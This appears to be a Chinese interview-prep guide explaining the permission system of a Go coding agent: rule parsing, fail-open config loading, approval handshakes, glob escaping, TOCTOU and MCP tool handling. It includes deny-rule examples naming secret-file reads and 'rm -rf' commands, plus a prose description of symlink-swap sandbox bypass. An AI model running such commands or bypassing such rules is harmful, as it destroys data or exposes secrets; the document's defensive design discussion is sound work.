口述答案:
「有声跳过,不阻断启动。
规则解析失败时——比如括号不配对、正则语法错误——我会往 stderr 打一行
rule "%s" parse failed: %s,然后跳过这一条规则继续,不阻断程序启动。为什么要有声? 因为这里有安全含义:如果用户写了一条
deny: Read(.env)但正则写错了,静默跳过会让用户以为自己受保护了,其实没有。这是典型的安全相关的静默失败——必须让人知道。代码里的注释甚至记录了这个改动:
go// 非法条目跳过并在 stderr 输出错误信息(F4:原本静默跳过,现在有声跳过)。这是我从「静默跳过」改成「有声跳过」的。改的原因就是意识到:安全配置的错误不能静默。」
备注讲解:
// toRuleSet 将 Settings 中的 allow/deny 字符串转为 RuleSet。
// 非法条目跳过并在 stderr 输出错误信息(F4:原本静默跳过,现在有声跳过)。
func toRuleSet(s Settings) RuleSet {
var rs RuleSet
for _, a := range s.Permissions.Allow {
if r, err := parseRuleWithAllow(a, true); err == nil {
rs.allow = append(rs.allow, r)
} else {
fmt.Fprintf(os.Stderr, "rule %q parse failed: %s\n", a, err)
}
}
for _, d := range s.Permissions.Deny {
if r, err := parseRuleWithAllow(d, false); err == nil {
rs.deny = append(rs.deny, r)
} else {
fmt.Fprintf(os.Stderr, "rule %q parse failed: %s\n", d, err)
}
}
return rs
}「为什么不阻断启动」:因为一条规则写错不该让整个工具不能用。用户的配置里可能有 20 条规则,其中 1 条正则写错了——阻断启动意味着用户必须先修配置文件才能用,而当时他可能只是想快速干点活。
⚠️ 但这里有个更好的设计值得说:
「现在只打到 stderr。但在这个全屏 TUI 里,stderr 是被 TUI 覆盖的——用户根本看不到那行警告。所以实际上「有声跳过」的效果打了折扣。
更好的做法是把它收集起来,在 TUI 启动后用一个 Notice 块显示,或者在
/permission命令里能查看「本次加载跳过了哪些规则」。 stderr 只适合非 TUI 的程序。」
这个观察很真实——TUI 程序里 stderr 的输出确实容易被淹没(虽然 Bubbletea 的 tea.Println 会把内容写进 scrollback,但 stderr 的 fmt.Fprintf 是绕过 Bubbletea 直接写的,会破坏渲染)。
⚠️ 配置文件本身读不到/格式错呢?
// 配置文件缺失/格式错误绝不致错,只降级跳过该文件(N5)。func loadSettings(path string) (Settings, error) {
data, err := os.ReadFile(path)
if err != nil {
if os.IsNotExist(err) { return Settings{}, nil } // ← 不存在 = 空配置,不算错误
return Settings{}, err
}
var s Settings
if err := yaml.Unmarshal(data, &s); err != nil {
return Settings{}, err
}
return s, nil
}调用方忽略 error:
projSettings, _ := loadSettings(projPath)
e.project = toRuleSet(projSettings)⚠️ 这里有个安全问题:如果 YAML 格式错了,loadSettings 返回零值 Settings{} 加一个 error——而调用方用 _ 忽略 error,于是得到的是一个空规则集。
如果项目级配置里有一条重要的 deny: Bash(rm *),而配置文件因为缩进错误解析失败了,那这条 deny 就静默消失了,而用户完全不知道。
这是一个应该修的缺陷。答法:
「有个我做错了的地方:配置文件 YAML 解析失败时,我降级成了「空规则集」并且忽略了 error。这个降级方向是危险的——如果用户写了一条 deny 但因为缩进错了解析失败,那条 deny 就静默消失了,用户以为自己在受保护。
安全相关的配置加载失败应该「fail closed」而不是「fail open」:要么拒绝启动并明确指出哪个文件哪一行错了,要么至少把「配置加载失败」变成一条显眼的告警。降级成空规则是最糟的选择——因为它看起来一切正常。
这个我在 spec 里写了「配置文件缺失/格式错误绝不致错,只降级跳过该文件(N5)」——当时的目标是「可用性优先」,现在我认识到对权限配置来说这个取舍是反的。」
这段回答非常有说服力:它展示了你不仅能找 bug,还理解「fail-safe vs fail-open」这个安全设计的核心概念,并且能指出自己当初的取舍错在哪。
Q4.11 ⭐⭐ 为什么模式兜底「绝不产 Deny」?
面试官想听什么:这是设计意图问题,看他会不会答「因为代码注释这么写的」。
口述答案:
「因为拒绝的决策权应该只留给「不可协商的层」和「用户显式配置的规则」,不该留给「档位」。
具体的三个理由:
① 模式是用户自己选的。 用户切到 Default 模式的意思是「保守一点,重要的操作问我一下」——不是「拒绝某些操作」。如果我在 Default 下 Deny 掉某个操作,用户就没有补救手段了,弹窗都不弹。
② Deny 和 Ask 的用户体验完全不同。 Deny 是「你被拒绝了,Agent 自己想办法」;Ask 是「你确认一下」。前者是剥夺选择权,后者是请求决策。模式兜底作为「最后一层」应该请求决策,而不是剥夺。
③ 代码里有一句注释总结了这条不变量:
go// modeFallback F5 模式兜底矩阵:只产 Allow/Ask,绝不产 Deny。代价是什么? 一个用户如果切到 Bypass 模式,他会发现什么都能做(除了黑名单和沙箱)。这可能不符合他的预期——他可能以为 Bypass 只是「少弹几个窗」。
所以 Bypass 模式我特意在 UI 上用红色标注(
view.go的状态栏着色),让用户知道自己在危险档位。UI 上的颜色是最后一道提示。」
备注讲解:
func modeFallback(mode Mode, cat Category) (Decision, string) {
// 只读 / bypass 全 Allow
if cat == CategoryRead || mode == ModeBypass { return Allow, "" }
// acceptEdits:文件写 Allow、命令执行 Ask
if mode == ModeAcceptEdits && cat == CategoryWrite { return Allow, "" }
// 其余(default/plan 的 Write/Exec、acceptEdits 的 Exec)→ Ask
reason := fmt.Sprintf("%s 模式下 %s 类操作需确认", mode.String(), catName(cat))
return Ask, reason
}函数里没有任何 return Deny 路径——这是可以被静态验证的。
reason 文案的设计:"%s 模式下 %s 类操作需确认",比如「default 模式下 命令执行 类操作需确认」。这个原因会直接显示在审批弹窗里,让用户知道「为什么弹这个窗」——不是黑名单、不是规则,纯粹是「你当前模式的默认行为」。
catName 用中文:
func catName(cat Category) string {
switch cat {
case CategoryRead: return "只读"
case CategoryWrite: return "文件写入"
case CategoryExec: return "命令执行"
default: return "未知"
}
}Q4.12 ⭐ Plan 模式下工具都看不见了,为什么还要 Ask?
面试官想听什么:纵深防御的思想。
口述答案:
「因为这是防御性冗余——不要假设「模型看不到就不会调」。
Plan 模式下我只给模型导出只读工具(
registry.ReadOnlyDefinitions()),所以write_file、bash这些根本不在工具列表里。理论上模型无法请求它们。但我不愿意只依赖这一层: ① 如果哪天有个 Bug 让
defs没被正确过滤(比如加了一个新的路径分支漏了); ② 如果我哪天支持了自定义工具集,用户配错了; ③ 模型偶尔会幻觉出刚在历史里见过的工具名——历史里可能有前面 Default 模式下的写操作记录。这些情况下,模式兜底是最后一道拦截。而代码注释也写明了这个意图:
goModePlan // 仅只读工具可见(沿用 ch04);矩阵同 default 作防御兜底代价是什么? 几乎为零——
Ask只有在真的有调用时才会触发,正常情况下这个分支永远不会被走到。用零成本的冗余换「不会因为单点失效而完全失守」,这个交易是划算的。」
备注讲解:
const (
ModeDefault Mode = iota // 只读 Allow / 文件写 Ask / 命令执行 Ask
ModeAcceptEdits // 文件写 Allow / 命令执行 Ask
ModePlan // 仅只读工具可见(沿用 ch04);矩阵同 default 作防御兜底
ModeBypass // 全 Allow(黑名单/沙箱仍拦)
)Plan 模式的双重保护:
- 工具集过滤(
ReadOnlyDefinitions)——模型看不到 - 模式兜底(同 default)——即使请求了也会 Ask
「矩阵同 default」的精确含义:Plan 模式下落到了 modeFallback 的最后一个分支(因为 mode != ModeAcceptEdits 且 mode != ModeBypass),所以 CategoryWrite / CategoryExec 都返回 Ask。
可能的追问:
- 「那 Plan 模式的语义是不是「只读」?为什么还能 Ask 到写操作?」 → 「Plan 模式的语义是「只做调研、产出计划」——实现上是通过「只给只读工具」达成。而
Ask是一个异常路径(正常走不到),不该被理解成「Plan 模式允许写操作」。如果它真的被走到,说明前面有一层坏了,Ask 是给用户的提醒。」
Q4.13 ⭐⭐ 人在回路是怎么实现的?
面试官想听什么:并发原语的实际使用 + 「阻塞等待外部输入」这种模式的设计。
口述答案:
「核心是一个带缓冲的 channel 做双向握手。
Agent 侧:判定为
Ask后,构造一个ApprovalRequest,里面带一个缓冲为 1 的Respondchannel,然后通过事件流把请求发给 TUI,自己阻塞在select { case <-respond; case <-ctx.Done() }上等回复。TUI 侧:收到事件后故意不再读事件流(因为 agent 已经阻塞了,后面没有新事件),把状态切到
stateApproving,渲染弹窗。用户按 1/2/3 或回车选择后,把结果写进Respondchannel,状态切回stateStreaming,恢复读事件流。三个细节值得讲:
①
Respond为什么缓冲 = 1? TUI 的commitApproval是在 UI 线程里同步发的。如果没缓冲,这次发送会阻塞 UI 线程直到 agent 读走。虽然 agent 此时正好在等、理论上立刻能读到,但依赖「另一个 goroutine 恰好在等」是不稳的。缓冲 1 让发送变成非阻塞;同时缓冲只有 1,保证语义上还是「一次请求一次应答」,不会堆积。② 取消时怎么解除阻塞?
select里同时监听ctx.Done()。而且 TUI 还做了一层双保险——按 Esc/Ctrl+C 时会非阻塞地往Respond里塞一个OutcomeDenyOnce:goselect { case m.pending.Respond <- permission.OutcomeDenyOnce: default: }那个
default保证 UI 永远不会因为这个卡住。③ 为什么审批期间 TUI 不读事件流? 因为 agent 已经阻塞在
select上了,它不会再发出任何事件。继续读只会读到空等,把状态机搞乱。代码注释写得很明确:「不 waitForEvent,agent 正阻塞等回传」。」
备注讲解:
Agent 侧(agent.go:981-1000):
// requestApproval 发送人在回路待批准请求,阻塞等待 TUI 回传决策。
func (a *Agent) requestApproval(ctx context.Context, call llm.ToolCall, reason string, ch chan<- Event) (permission.Outcome, bool) {
respond := make(chan permission.Outcome, 1)
req := &ApprovalRequest{
Name: call.Name,
Args: argPreview(call.Input),
Reason: reason,
Respond: respond,
}
if !emit(ctx, ch, Event{Approval: req}) { return 0, false }
select {
case o := <-respond: return o, true
case <-ctx.Done(): return 0, false
}
}// ApprovalRequest 人在回路待批准请求(F8)。
type ApprovalRequest struct {
Name string // 工具内部名(用于展示 ● name(args))
Args string // 参数预览
Reason string // 触发 Ask 的原因(模式 + 类别)
Respond chan permission.Outcome // 缓冲=1:TUI 回传用户选择,agent 单次接收
}TUI 侧(tui.go):
case ev.Approval != nil:
// 人在回路待批准
m.pending = ev.Approval
m.approveCursor = 0
m.state = stateApproving
return m, nil // 不 waitForEvent,agent 正阻塞等回传// commitApproval 向 agent 回传决策,切回 streaming 态。
func (m *Model) commitApproval(outcome permission.Outcome) (tea.Model, tea.Cmd) {
if m.pending == nil { return m, nil }
m.pending.Respond <- outcome // ← 缓冲 1,不阻塞
m.pending = nil
m.state = stateStreaming
m.approveCursor = 0
return m, waitForEvent(m.events)
}func (m *Model) updateApproving(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.KeyPressMsg:
switch msg.String() {
case "up", "k": if m.approveCursor > 0 { m.approveCursor-- }
case "down", "j": if m.approveCursor < 2 { m.approveCursor++ }
case "enter", " ":
return m.commitApproval(outcomeForIndex(m.approveCursor))
case "1": return m.commitApproval(permission.OutcomeAllowOnce)
case "2": return m.commitApproval(permission.OutcomeAllowForever)
case "3": return m.commitApproval(permission.OutcomeDenyOnce)
}
}
return m, nil
}注意 approveCursor < 2 的上界——因为有三项(索引 0/1/2)。
键盘交互做了双套:方向键 + jk(Vim 风格),以及数字快捷键。回车/空格取当前光标项。这是标准的终端 UI 惯例。
三选一的落地(Agent 侧):
switch outcome {
case permission.OutcomeDenyOnce:
results[i] = llm.ToolResult{
ToolCallID: call.ID,
Content: "用户拒绝执行:" + reason,
IsError: true,
}
case permission.OutcomeAllowOnce, permission.OutcomeAllowForever:
if outcome == permission.OutcomeAllowForever {
if err := a.eng.PersistLocalAllow(call); err != nil {
emit(ctx, ch, Event{Notice: fmt.Sprintf("(写入本地规则失败: %v)", err)})
}
}
// ...执行工具...
}注意拒绝路径的文案:"用户拒绝执行:" + reason。这个文案是给模型看的——它告诉模型「不是系统拒绝了你,是用户拒绝了」,而且带上了原因。模型可以据此调整。
写盘失败的处理:emit(Event{Notice: ...}) 而不是中断。因为写盘失败不该阻止工具执行——用户已经批准了,规则没记住只是「下次还要问一遍」,不影响本次。
可能的追问:
- 「如果用户一直不回答呢?」 → 「会一直阻塞。现在没有审批超时。这是个应该补的:理想是 60 秒无响应自动按 Deny 处理并提示。目前的兜底只有「用户按 Esc/Ctrl+C 取消本轮」。」
- 「如果同时有多个工具需要审批呢?」 → 「逐个串行。有副作用工具本来就是串行执行的,所以第二个审批要等第一个处理完。这从
m.pending是单个字段(不是队列)也能看出来——同一时刻只可能有一个待审批请求。」
Q4.14 ⭐⭐⭐ 「永久允许」写盘会不会被泛化?
面试官想听什么:⚠️ 这是个非常锋利的题。它在测你懂不懂「授权范围扩大」这个安全陷阱。
口述答案(背熟这段):
「不会——我专门做了 glob 元字符转义。
场景是这样的:用户对一条命令点了「永久允许」,我要把「这次调用」写成一条规则。问题是我用什么作为匹配模式?
如果直接把命令串塞进 glob 模式,就会出现授权扩大。比如命令是
rm -rf build/*,写出来的规则是Bash(rm -rf build/*)——而*在 glob 里是通配符,这条规则的实际含义是「允许rm -rf build/开头加任意后缀的所有命令」。用户授权的是「删一次 build 目录」,得到的却是「删除 build 下任何东西的永久许可」。所以我把命令串里的所有 glob 元字符都转义了:
go// 命令串中的 glob 元字符(*, ?, [, ])需转义,防止规则被意外泛化。 func escapeGlob(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, "*", "\\*") s = strings.ReplaceAll(s, "?", "\\?") s = strings.ReplaceAll(s, "[", "\\[") s = strings.ReplaceAll(s, "]", "\\]") return s }转义后
rm -rf build/*变成rm -rf build/\*,只匹配字面量,不会泛化。这个设计的原则是「授权最小化」:用户点「永久允许」是授权「这一次这个具体命令」,不是授权「这一类命令」。而且从时机上看,用户当时只看到了这一条命令,他无从判断「这一类」的边界在哪。
如果用户想要宽一点的规则,他应该自己编辑配置文件写
Bash(git *)——那是一个深思熟虑的动作,不是一次弹窗里的顺手点击。」
备注讲解:
// ruleFor 根据一次工具调用生成精确规则(不含通配)。
// 返回 (内存 Rule, YAML 字符串, 是否成功)。
// 命令串中的 glob 元字符(*, ?, [, ])需转义,防止规则被意外泛化。
func ruleFor(call llm.ToolCall) (Rule, string, bool) {
friendly := friendlyName(call.Name)
target, isFile, ok := extractTarget(call)
if !ok { return Rule{}, "", false }
var pattern string
if isFile {
pattern = target // 文件类:精确路径
} else {
pattern = escapeGlob(target) // ← 命令类:转义 glob 元字符
}
yamlStr := fmt.Sprintf("%s(%s)", friendly, pattern)
...
}注意文件类和命令类的处理不同:文件类不转义(因为路径里的 * 本身就不是文件名里常见的字符,而且用户写 Write(src/**) 这种规则是合理的诉求);命令类必须转义(因为 shell 命令里 * 极其常见)。
这个不对称是刻意的——它反映了「两类目标的通配符使用习惯不同」。
⚠️ 转义的一个潜在问题:转义后生成的模式 rm -rf build/\* 会被 CompileMatcher 当作 glob 解析,而 glob 匹配器(matchSegment / matchCommandPattern)认不认 \* 这个转义?
看 matchCommandPattern 的实现,它只处理 * 作为通配符:
case '*':
if pi == len(pattern)-1 { return true }
next := pattern[pi+1]
for ti < len(target) && target[ti] != next { ti++ }它没有处理 \ 转义。所以 rm -rf build/\* 里的 \ 会被当普通字符、* 会被当通配符——结果是匹配 rm -rf build/\ 后面跟任意内容。而实际的命令串是 rm -rf build/*,里面没有 \。所以这条规则永远匹配不上!
✅ 我在项目源码上实测验证过这个结论(在 permission 包内临时加测试,直接调 escapeGlob + CompileMatcher):
[4] escapeGlob("rm -rf build/*") = "rm -rf build/\\*"
Match("rm -rf build/*") = false ← 确认失效
[5] 未转义 glob "rm -rf build/*" 匹配 "rm -rf build/important.go" = true
← 确认「不转义就会泛化」这个动机是成立的[5] 那行确认了 escapeGlob 的动机是对的——如果不转义,rm -rf build/* 会泛化成「删除 build/ 下任何东西」,从「一次授权」变成「无限授权」。但 [4] 那行说明修复手段本身有 bug:转义后的模式匹配不上原文。
所以现在的实际状态是:
- 安全上没问题(规则失效 = 不放行 = 继续弹窗,fail-safe);
- 功能上是坏的——用户点了「永久允许」,规则写进
settings.local.yaml了,但下次同样的命令还会弹窗。
这是一个真实存在的 bug。 escapeGlob 生成了转义模式,但 matcherGlob 不认转义符号——导致「永久允许」写入的规则实际上是失效的。
这个 bug 的性质:fail-safe(匹配不上 = 不放行 = 继续弹窗),不影响安全,只影响体验——用户点了「永久允许」但下次还问。
如果你能主动说出这个,杀伤力极大。答法:
「不过我要补充一个我在回归测试时发现的问题:
escapeGlob生成的是\*这种转义模式,但我的matcherGlob实现并不处理\转义——它把\当普通字符、*当通配符。所以规则Bash(rm -rf build/\*)实际匹配的是「rm -rf build/\+ 任意内容」,而真实命令里没有\,永远匹配不上。结果是:用户点了「永久允许」,写入的规则实际不生效,下次同样的命令还会弹窗。
这个 bug 是 fail-safe 的——匹配不上意味着不放行,继续弹窗,不影响安全性,只影响可用性。
修法:要么让
matcherGlob支持\转义(在matchSegment和matchCommandPattern里处理),要么不用转义方案,改用matcherExact——也就是生成Bash(=rm -rf build/*)。我倾向后者,因为「永久允许」的语义本来就是「精确匹配这一条命令」,用它自己表达最直接,不需要绕一层 glob 转义。」
这段回答的价值:它证明你真的回归测试过自己的代码,而且能找到「安全没坏但功能坏了」这种最容易被忽略的 bug。
Q4.15 ⭐ TOCTOU 问题
面试官想听什么:安全基础概念的掌握 + 你是否知道怎么修。
口述答案:
「存在。TOCTOU = Time-of-check to time-of-use:我的沙箱在
Engine.Check时解析路径、和 root 比对;但工具真正os.Open是几百微秒之后的事。理论上攻击者可以在两者之间把软链接换掉——检查时指向项目内、使用的时候指向/etc。这个威胁在你的场景里有多现实? 我说实话:在单用户本地工具这个场景下,我不认为它是现实威胁。 因为攻击者要能在你机器上在微秒级时间窗内创建/替换符号链接——如果他有这个能力,他早就不需要绕我的沙箱了,直接读文件就行。威胁模型不成立。
但如果是多租户服务端,这就必须修,而且修法是标准的: ① 检查后持有 fd——用
openat打开文件,然后对同一个 fd 做fstat校验它是否仍在 root 下。这样「校验」和「使用」是同一个对象,没有窗口。 ②openat2+RESOLVE_BENEATH(Linux 5.6+)——内核直接保证路径解析不越出给定目录,这是最干净的方案。 ③O_NOFOLLOW——禁止跟随最后一段的软链接。 ④ 进程级隔离(mount namespace)——从根上让子进程看不到项目外的路径,那就不存在「检查」这个动作了,也就没有 TOCTOU。我的项目里这三条都没做——因为它是本地单用户工具。但我知道正确的答案是什么。」
备注讲解:
为什么「检查后持有 fd」能解决:Unix 的 fd 指向的是 inode(文件实体),不是路径。所以即使路径被换掉了,你手上的 fd 还是原来那个文件。对同一个 fd 做 fstat 拿到的 inode 号,和「检查时拿到的」是同一个——校验和使用是原子的。
代码里的现状:
// 权限检查(Engine.Check 里)
resolved := evalSymlinksOrAncestor(abs)
return resolved == e.root || strings.HasPrefix(resolved, e.root+sep)
// 而工具执行时(read_file.go)
data, err := os.ReadFile(a.Path) // ← 重新按路径打开,中间有窗口两次操作之间没有任何关联。
可能的追问:
- 「那你怎么在面试里自证这个设计是合理的?」 → 「因为威胁模型决定了防御的等级。这是个本地单用户工具,它的对手是「用户自己和模型的误操作」,不是「本地的恶意提权」。对前者,参数级沙箱 + 弹窗确认足够;对后者,必须上内核级隔离。我不会因为「理论上存在 TOCTOU」就去做进程级沙箱,因为那会带来很大的复杂度(跨平台、子进程管理、调试困难),而收益在这个场景下接近零。 但如果这个工具要变成云端的 coding agent 服务,第一件事就是改这个。」
这个回答展示了「按威胁模型分配投入」的工程判断——这比「我知道所有攻击手法但全都防」更成熟。
Q4.16 ⭐⭐ 为什么 MCP 工具每次都弹窗?
面试官想听什么:从「代码行为」反推「设计意图」的能力,以及你知不知道这个体验问题的根因。
口述答案:
「因为它落到了最严的一档。
权限判定里有一个
categorize函数,按工具名分三类:只读、文件写、命令执行。而 MCP 工具的名字不在任何分支里,走 default:godefault: // 未注册工具归命令执行类(最严) return CategoryExec于是它在 Default 模式下判
Ask——每次调用都弹窗。为什么当初这么设计? 因为「我不认识它,就当它能干坏事」。MCP 工具是外部进程或远端服务提供的,它的能力我无法验证——我只能信它声明的
readOnlyHint,而那个声明本身也是它自己写的。所以默认不可信。代价是真实的可用性问题:接一个 GitHub MCP,它可能有 20 个工具,用户第一次用每个都要点一次「永久允许」。
用户的正解是什么? 写 allow 规则放行。但这里有个我发现的 bug(见下面):通配规则对 MCP 工具是失效的——因为
extractTarget对 MCP 工具返回的目标是空串,glob 匹配器对空串直接返回 false。所以用户只能写精确规则:
yamlpermissions: allow: - "mcp__github__search_repos" # ← 这个能生效 - "mcp__github__*" # ← 这个不生效(bug)那确实很麻烦。修法就是把
extractTarget补上 MCP 分支,或者更好的做法是把规则匹配从「只匹配参数」升级成「匹配工具全名 + 参数」两级——这样mcp__github__*和Bash(git *)就能用同一套语法。」
备注讲解:
根因链:
MCP 工具名 mcp__github__create_issue
↓
extractTarget 的 default 分支 → return ("", false, false) ← target 恒为空串
↓
categorize 的 default 分支 → CategoryExec ← 最严档
↓
modeFallback → Ask ← 每次都弹窗
↓
规则层想放行:RuleSet.match(friendly="mcp__github__create_issue", target="")
↓
规则 "mcp__github__*" 的 r.Tool = "mcp__github__*" ≠ friendly → 不命中 ← 通配失效⚠️ 我把机制写准一点——因为它比表面上更绕。 我在项目源码上跑了真实探针(在 permission 包内临时加测试,直接调 parseRule / RuleSet.match / escapeGlob):
[1] parseRule("mcp__github__create_issue") → Tool="mcp__github__create_issue" Matcher==nil? true
matchRule(r1, "") = true ← 精确名规则可用
[2] parseRule("mcp__github__*") → Matcher==nil? true
matchRule(r2, "") = true ← 注意:Matcher 也是 nil,但 Tool 名是字面量 "mcp__github__*"
[3] parseRule("mcp__github__create_issue(...)") → matchRule(r3, "") = false
[6] 规则 mcp__github__create_issue 对 (friendly=全名, target="") → hit=true decision=Allow
[7] 规则 mcp__github__* 对 (friendly=全名, target="") → hit=false ← 失效
[8] extractTarget(MCP 工具) → isFile=false ok=false ← 证实 target 恒为空串
[9] categorize("mcp__github__create_issue", readOnly=false) = CategoryExec? true真正的根因有两层:
extractTarget没有 MCP 工具的分支,所以 target 恒为空串。而规则语法Tool(pattern)里,括号那部分只用来匹配「参数」——参数是空串,所以任何针对参数的 pattern 都失去了意义。- 规则语法不允许通配「工具名」。
Tool那部分必须与 friendly 名完全相等。所以mcp__github__*因为不带括号,被parseRule整体解析成「一个名叫mcp__github__*的工具」(pattern=""→Matcher=nil),然后在r.Tool == friendly这一步就挂了——"mcp__github__*" != "mcp__github__create_issue"。 写成带括号的mcp__github__(*)也不行:Tool会变成"mcp__github__",同样不等于工具全名。
所以「精确名可用、通配失效」的正确解释不是「glob 恰好匹配上了空串」(实际上它根本没走到 glob 匹配那一步),而是「不带括号的规则 → Matcher 为 nil → matchRule 恒返回 true → 但前提是 r.Tool 必须精确等于工具名」。
// matchRule 对 nil Matcher 恒返回 true
func matchRule(r Rule, target string) bool {
if r.Matcher == nil { return true }
return r.Matcher.Match(target)
}结论:接入一个 20 个工具的 MCP server,用户要写 20 条不带括号的规则。这已经从「小 bug」升级成「可用性阻塞」了。
修复建议的两种方案:
方案 A(小改):给 extractTarget 加 MCP 分支,把工具全名作为 target 返回。
default:
if strings.HasPrefix(call.Name, "mcp__") {
return call.Name, false, true // target = 工具全名
}
return "", false, false方案 B(更好的设计):把规则匹配从「一层」升级成「两层」——先匹配工具名(用通配),再匹配参数(用通配)。
规则语法: Tool(pattern) → 匹配参数
Tool → 全匹配(已有)
新增: Tool::name_pattern(pattern)? ← 或者干脆把 target 定义成「工具名 + 空格 + 参数」方案 B 的好处:mcp__github__* 匹配工具名,Bash(git *) 匹配参数——统一在一套语法里。代价是语法变复杂。
Q4.17 ⭐ 模式切换为什么不影响运行中的一轮?
面试官想听什么:对「状态一致性」的敏感度。
口述答案:
「因为切换被
state == stateIdle这个条件挡住了——只有在空闲状态才能切模式,运行中按 Shift+Tab 什么都不做。为什么必须这么限制? 两个理由:
① 语义一致性:一轮里可能有好几个工具要执行。如果途中改了模式,会出现「第一个工具用 Default 判定、第二个用 Bypass 判定」的情况——同一轮内的判定标准不一致,这是没人能理解的。
② 更重要的:这是一个权限提升漏洞的封堵。 想象一下:Agent 弹窗问你「要不要执行
rm -rf build」,你不小心按了 Shift+Tab 切到 Bypass——如果这个切换生效,模式就变了。虽然当前那个Ask已经发出去了不会变,但接下来的工具判定会全变成 Allow,等于用键盘快捷键绕过了审批。 我必须堵住这个。实现上还很简单:
m.mode只是 Model 里的一个字段,权限引擎不持有当前模式——它是无状态的纯判定函数。每轮Run(turnCtx, conv, m.mode)时把模式当参数传进去。所以「切换」就是改一个字段,下一轮立刻生效,不需要重启、不需要重建引擎。」
备注讲解:
// Shift+Tab:循环切换权限模式(仅 idle 态生效)
if msg.String() == "shift+tab" && m.state == stateIdle {
m.mode = nextMode(m.mode)
notice := fmt.Sprintf("已切换到 %s 模式", modeLabel(m.mode))
return m, tea.Println(renderNoticeBlock(notice))
}// nextMode 循环切换权限模式:default → acceptEdits → plan → bypassPermissions → default
func nextMode(m permission.Mode) permission.Mode { return (m + 1) % 4 }(m + 1) % 4 依赖 Mode 是连续的 iota 枚举——所以 Switch 的注意点:如果哪天在中间插一个新模式,循环顺序会变。更好的写法是显式 switch(可读性也更好)。
模式作为参数传递:
func (a *Agent) Run(ctx context.Context, conv *conversation.Conversation, mode permission.Mode) <-chan Event而 Engine.Check 的签名:
func (e *Engine) Check(mode Mode, call llm.ToolCall, readOnly bool) (Decision, string)注意 mode 是参数而不是 Engine 的字段——这是个刻意的设计:引擎无状态,判定函数纯粹。好处是:① 并发安全(没有共享可变状态);② 好测试(给不同的 mode 传参就能覆盖矩阵);③ 模式切换不需要重建引擎。
可能的追问:
- 「如果用户想在一轮中间改模式呢?」 → 「他只能等这一轮结束。这个限制是必要的——否则会破坏判定的一致性。而
tea.Println(renderNoticeBlock(notice))的提示让用户知道「切换成功了,下一轮生效」,不会有「我按了但没反应」的困惑。」
Q4.18 ⭐⭐ 未知工具为什么要归到最严档?
面试官想听什么:默认拒绝(default deny)这个安全原则。
口述答案:
「因为这是**「默认拒绝」原则**的应用——我不认识的东西,按最坏情况处理。
代码里的注释写得很直接:
godefault: // 未注册工具归命令执行类(最严) return CategoryExec「未知工具」包括两类:MCP 工具(外部进程/远端提供)和模型幻觉出来的工具名。前者我无法验证它的实际能力,后者根本不存在。两者都应该按最严处理。
如果反过来——未知工具归「只读」档,那风险就大了:只读类在模式兜底里恒为
Allow,等于任何未知工具都自动放行、还能并发执行。这是个非常糟糕的默认值。其实还有一处更彻底的默认拒绝:
Registry.Execute对未知工具直接返回错误:gofunc (r *Registry) Execute(ctx context.Context, name string, args json.RawMessage) Result { t, ok := r.Get(name) if !ok { return Result{Content: fmt.Sprintf("未知工具: %s", name), IsError: true} } return t.Execute(ctx, args) }以及
Registry.IsReadOnly对未知工具返回 false:gofunc (r *Registry) IsReadOnly(name string) bool { t, ok := r.Get(name) return ok && t.ReadOnly() // ← 未知工具 → false → 串行执行 }这三处一致地遵循「未知即最严」:分类归最严、执行直接失败、并发判定归串行。一致性本身就是设计质量。」
备注讲解:
三处默认拒绝的对照表:
| 位置 | 对未知工具的处理 | 理由 |
|---|---|---|
categorize | CategoryExec(最严) | 权限判定按最坏情况 |
Registry.Execute | IsError: true 直接失败 | 不认识就不执行 |
Registry.IsReadOnly | false → 串行 | 不确定就串行 |
可能的追问:
- 「MCP 工具也归最严,是不是过于保守了?」 → 「是有代价的——MCP 工具默认每次弹窗。但这个代价是可以让用户显式消除的(写 allow 规则或者让 server 声明
readOnlyHint),而如果默认放行,代价是隐形的安全问题。「可以消除的麻烦」好过「看不见的风险」。」
Q4.19 ⭐⭐⭐ 如果让你重新设计,你会怎么改?
面试官想听什么:⚠️ 这是权限部分的收尾题,也是最能体现深度的一题。 他不在乎你的设计是否完美,在乎你能不能看出自己设计的层次问题。
口述答案(背熟,这是加分大招):
「我会改三件事,按重要性排序。
第一,把沙箱从「参数层」下沉到「进程层」。 这是最重要的。现在的沙箱只拦文件类工具的参数,对
bash无效。本质上我在用「解析工具的输入」来推断「进程会做什么」,这是个不可能做对的事情——shell 的语义(变量展开、命令替换、管道、子 shell)让它不可静态分析。 正确做法是进程级隔离:Linux 上用bubblewrap或者landlock,macOS 上用sandbox-exec,让子进程的文件系统视图在操作系统层面就被限制在项目根。这样不管命令多复杂,内核都会拦住。 我最大的收获就是意识到:应用层的路径校验和内核层的隔离,是两个量级的事情。第二,把「判定」和「配置加载」的失败方向反过来。 现在配置文件 YAML 解析失败会降级成「空规则集」,这是个 fail-open 的降级——用户写的一条 deny 因为缩进错了解析失败,就静默消失了,用户还以为自己受保护。对安全配置,应该 fail-closed:要么拒绝启动并明确指出哪一行错了,要么至少把失败变成一条显眼的、在 TUI 上可见的告警。现在只打到 stderr,在 TUI 里是被覆盖的。
第三,把权限判定从「一次性的静态检查」变成「可审计的事件流」。 现在每次判定只产生一个
Decision和reason,用户看不到「这个判定经过了哪几层、每层的结论是什么、为什么最终是这个结果」。对一个安全系统来说,可解释性和可审计性跟拦截能力一样重要——出了事要能回答「为什么这个操作被放行了」。我的做法会是:判定结果里带上「每层的 trace」,然后通过一个--explain模式或者/permission explain <命令>展示出来。这三件事的共同点是:它们都不是「加功能」,而是「改变层次」。 我觉得这也是我从这个项目里学到的最重要的东西。」
备注讲解:
为什么这段回答特别有效:
- 它给出了优先排序(「按重要性排序」)——说明你能判断轻重,而不是罗列想法。
- 每一条都有具体的技术方案(bubblewrap/landlock/sandbox-exec;fail-closed;trace 事件流)——不是空话。
- 最后一句是「元认知」——它把三个具体问题上升成「层次意识」,这正是高级工程师和初级工程师的区别。
可能的追问:
- 「进程级隔离的跨平台问题怎么解决?」 → 「这是个真问题。Linux 有 bubblewrap/landlock,macOS 有 sandbox-exec(但它是 deprecated 的、而且 Apple 官方不建议依赖),Windows 上更麻烦(要用 Job Object + 受限令牌,或者上 WSL)。所以我的方案是「有能力就用,没能力就降级」:定义一个有能力的沙箱接口,Linux/macOS 各自实现,不支持的平台退回参数级沙箱并明确告知用户「你现在的隔离是弱的」。关键是不能假装隔离存在。」
Q4.20 ⭐ 权限系统怎么测试的?
